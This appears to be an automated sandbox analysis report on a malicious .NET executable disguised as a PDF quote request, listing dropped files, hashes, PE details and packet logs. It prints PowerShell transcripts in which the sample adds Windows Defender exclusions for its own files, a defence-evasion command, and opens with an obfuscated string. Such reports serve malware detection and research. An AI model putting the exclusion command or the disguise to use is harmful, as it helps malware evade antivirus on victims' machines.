Preview:	@%nmb%e%lvjgxfcm%c%qckbdzpzhfjq%h%anbajpojymsco%o%nransp% %aqeoe%o%mitd%f%puzu%f%bjs%..%fmmjryur%s%ukdtxiqneflfe%c%toqs% %xbvjy%s%ykctzeltrurlx%t%xdvrvty%o%tutofjebvoygco%p%noaevpkwrrrcf% %npfksd%w%ljconeph%i%sinxiygfbc%n%ykxnbrpdqztrdb%d%mfuvueeajpyxla%e%ewyybmmo%f%jdztigyb%e%izwgzizuwfwq%n%slmffy%d%azh%..%wlhzjhxuz%s%zuiczqrqav%c%ocphncbzosf% %uee%c%kwrr%o%ofppkctzbccubb%n%oyhovbqs%f%nue%i%lgybsrbqk%g%xguast% %vas%w%tdayskzhki%i%fmmjryurgrdcz%n%emroplriim%d%ymxvyr%e%iqpwnheoi%f%ffehbxrlehlo%e%tutofjebvo%n%ywjkif%d%pvdaa% %trpa%s%xznydsnqgdbu%t%hplrbjxhnjes%a%yhyferx%r%dwcez%t%rrugvyblp%=%zjthdesmo% %ewyybmmowgsjdr%d%snmn%i%mbm%s%akxnoc%a%xar%b%mwm%l%ozlt%e%wlhzjhxuzh%d%roqtalnv%..%hlhdhvi%s%nsespdzm%c%kwrrsgvucidm% %ueax%s%xunijsdqhif%t%prvhhnqvvouz%o%liyjprtqxuur%p%jskzmuaxtb% %vwoqshkaaladz%S%ruuosytlcgu%e%nftvippqc%n%qhj%s%llxrmrlqje%e%tutofje%..%xxnqgsvqut%s%racqhzwreqndv%c%skizikcom% %ytf%c%pxdixotcxymnev%o%dwcezzifyaqd%n%jjdpztfrehpv%f%xxrweg%i%lpfkfswxzemf%g%rxycnmibql% %hfzbr

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3aln3cm2.fvg.psm1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ase23bt1.0jr.psm1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_um20px0m.b2q.ps1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wjtgwnqe.3ox.ps1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\Documents\20210225\PowerShell_transcript.124406._cDteu59.20210225151550.txt Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	880
Entropy (8bit):	5.335445416144854
Encrypted:	false
SSDEEP:	24:BxSAfdZOvBdaFx2DOXUWeSuhPW+HjeTKKjX4CIym1ZJXkuhX:BZKv6FoO+S5+qDYB1ZuC
MD5:	FEE84AAAD6A09CC40CDC464593CCB89D
SHA1:	6BA52DD0209C9A5D83895F3EE63D8574BFB8A57B
SHA-256:	9CCC90B543C28B2AEFA6863D1DB807F29DCCE15390F6C10097EEB985D62DB0E1
SHA-512:	C5CDF23B3C171FE82748F220772B041520C0CE2FE9060D8A8C3AEA972F43946BA8EDA05E8725C9DF0F7F3B8CBA229B1B48F468319C53CD338FEE06CDFA6A1188
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20210225151617..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 124406 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe -Force..Process ID: 6736..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20210225151618..********************..PS>Add-MpPreference -ExclusionPath C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe -Force..

C:\Users\user\Documents\20210225\PowerShell_transcript.124406.eRYFyRTS.20210225151530.txt Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	4138
Entropy (8bit):	5.444454627353464
Encrypted:	false
SSDEEP:	96:BZg6FNfoqDo1ZpOZ26FNfoqDo1ZoLP9PzPjZl6FNfoqDo1ZA:k
MD5:	D9DB1A3F8EAF271CFDAB2E26568D8D2B
SHA1:	967C29FC2B6CC9D9FBD25B3E1041D2631E3AC987
SHA-256:	259F5851FDA5298F95BEFB506FF8F7EE1F966D27BE23DEF1CAEA8483B422A36A
SHA-512:	857E32BDF165D9B3FD01892C320BF1EC8C8830EE0BF9AC62C2B5B05A33F687C1841E749BC895B264581CC47EACD8758FFF853D6C37026189D737D4A06840BE29
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20210225151545..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 124406 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe -Force..Process ID: 5688..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20210225151545..******************..PS>Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe -Force..********************..Windows PowerShell transcript start..Start time: 20210225151851..Use

C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe Download File
Process:	C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	117936
Entropy (8bit):	6.528297707209392
Encrypted:	false
SSDEEP:	384:UC154NoTCiLdp99RDmmym7mVmLmZm7mDm7vym8mLYiUmXuSHwE7tXuItiR40Xt4W:/zTCiLXBlHzD2pB7lQSVML/hy
MD5:	C1B250F45DE606EF95AF9961496402A0
SHA1:	A222DA21DBD932D64F9CAD12B46C068AC7360F72
SHA-256:	CDB8CF995F8287A1F64CD035C4E34E047E23A3218DBF50B0FCF321ECD464094E
SHA-512:	4C09A6D12F85300D45CFDDFEC43A49EBAE676D667FF3B4E86585BB20CA5CF73FB1AB67488D32C66CCE8E9F1DDBD28FC503F187999A93B641BC22A75347530BCC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....bE..........."...0.................. ........@.. ....................... ............@.................................L...O.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........&..T..............................................................(......(....jr...prR..p~....o....(....~s ........s!........s.........Bs....o....o"....r...p(.....(#....(#...s....&.(.....(.....(....*...0..........r...pr...p~....o.....s......%r...pr.B.p~....o....o....%rYC.pr...p~....o....o....%r...pr...p~....o....o.....o.....8......(......~....+........o......r?..pr...p~....o....o....,..r...pr...p~....o....r...pr...p~....o....o......rn..pr7..p~....o....r_..pr_..

C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe:Zone.Identifier Download File
Process:	C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.528297707209392
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	RFQ - REF 208056-pdf.exe
File size:	117936
MD5:	c1b250f45de606ef95af9961496402a0
SHA1:	a222da21dbd932d64f9cad12b46c068ac7360f72
SHA256:	cdb8cf995f8287a1f64cd035c4e34e047e23a3218dbf50b0fcf321ecd464094e
SHA512:	4c09a6d12f85300d45cfddfec43a49ebae676d667ff3b4e86585bb20ca5cf73fb1ab67488d32c66cce8e9f1ddbd28fc503f187999a93b641bc22a75347530bcc
SSDEEP:	384:UC154NoTCiLdp99RDmmym7mVmLmZm7mDm7vym8mLYiUmXuSHwE7tXuItiR40Xt4W:/zTCiLXBlHzD2pB7lQSVML/hy
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....bE..........."...0.................. ........@.. ....................... ............@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x41cf9e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x85456217 [Wed Nov 7 16:00:23 2040 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	C=pWVehoyZhbqvGvOnyjflC, S=JWVPAYtFJFrnfBtiaEOrjunCnPVqr, L=WBoOmetEMoGEKeXmsi, T=exJgtNaepyEjEdPEBoHdAzLvAPdWgdfvzHhZeCUctUixpYvU, E=AmxNJnQuYxWUhZXLgPdTiT, OU=pmskCxyXHpHOaImSipI, O=TOHpToCMywEdpGEOZenYyaFrGscfYOiOIqiHUSe, CN=cwcpbvBhYEPeJYcCNDldHTnGK
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	2/24/2021 11:33:07 PM 2/24/2022 11:33:07 PM
Subject Chain	C=pWVehoyZhbqvGvOnyjflC, S=JWVPAYtFJFrnfBtiaEOrjunCnPVqr, L=WBoOmetEMoGEKeXmsi, T=exJgtNaepyEjEdPEBoHdAzLvAPdWgdfvzHhZeCUctUixpYvU, E=AmxNJnQuYxWUhZXLgPdTiT, OU=pmskCxyXHpHOaImSipI, O=TOHpToCMywEdpGEOZenYyaFrGscfYOiOIqiHUSe, CN=cwcpbvBhYEPeJYcCNDldHTnGK
Version:	3
Thumbprint MD5:	8A446DD2BF81F6DCA3F2E70289F260C9
Thumbprint SHA-1:	49EC0580239C07DA4FFBA56DC8617A8C94119C69
Thumbprint SHA-256:	7C120D01DFB5D8540763A96DEE45DA554BF1373A08AE5E29BB38FB557086D5C7
Serial:	19985190B09206952EFD412D3CCC18E2

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1cf4c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1e000	0x3e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x1b800	0x14b0	.text
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x20000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x1afa4	0x1b000	False	0.085765697338	data	6.4427787872	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x1e000	0x3e0	0x400	False	0.4599609375	data	3.54265996663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x20000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x1e058	0x388	data	English	United States

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
LegalCopyright	Copyright 2022 LyZnAXxP. All rights reserved.
Assembly Version	2.8.1.0
InternalName	TEwJVelt.exe
FileVersion	5.5.3.4
CompanyName	IEACZUBa
LegalTrademarks	VxoadekR
Comments	Ivxoyvzg
ProductName	TEwJVelt
ProductVersion	2.8.1.0
FileDescription	WFybxfIh
OriginalFilename	TEwJVelt.exe
Translation	0x0409 0x0514

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 25, 2021 15:14:52.311490059 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.364129066 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.364285946 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.365430117 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.417988062 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.465615988 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.465637922 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.465653896 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.465670109 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.465684891 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.465701103 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.465719938 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.465737104 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.465739012 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.465753078 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.465771914 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.465796947 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.465817928 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.466867924 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.466895103 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.466974020 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.468111992 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.468132019 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.468204975 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.469341040 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.469357967 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.469443083 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.470649958 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.470670938 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.470772982 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.471813917 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.471831083 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.471901894 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.473031998 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.473051071 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.473100901 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.474273920 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.474292040 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.474371910 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.475523949 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.475549936 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.475608110 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.476728916 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.476746082 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.476811886 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.477948904 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.477983952 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.478038073 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.518335104 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.518618107 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.518634081 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.518681049 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.519840956 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.519870996 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.519900084 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.521090984 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.521110058 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.521155119 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.522335052 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.522353888 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.522396088 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.523680925 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.523741007 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.523770094 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.524805069 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.524861097 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.524899006 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.526032925 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.526083946 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.526129007 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.527286053 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.527344942 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.527374029 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.528554916 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.528610945 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.528639078 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.529841900 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.529941082 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.529957056 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.530977964 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.531006098 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.531043053 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.532193899 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.532254934 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.532828093 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.532854080 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.532912970 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.534027100 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.534054041 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.534128904 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.535274982 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.535303116 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.535376072 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.536498070 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.536525965 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.536580086 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.537689924 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.537729979 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.537782907 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.538955927 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.538984060 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.539050102 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.540155888 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.540184975 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.540239096 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.541416883 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.541441917 CET	80	49708	172.67.172.17	192.168.2.7
Feb 25, 2021 15:14:52.541501999 CET	49708	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:14:52.542637110 CET	80	49708	172.67.172.17	192.168.2.7
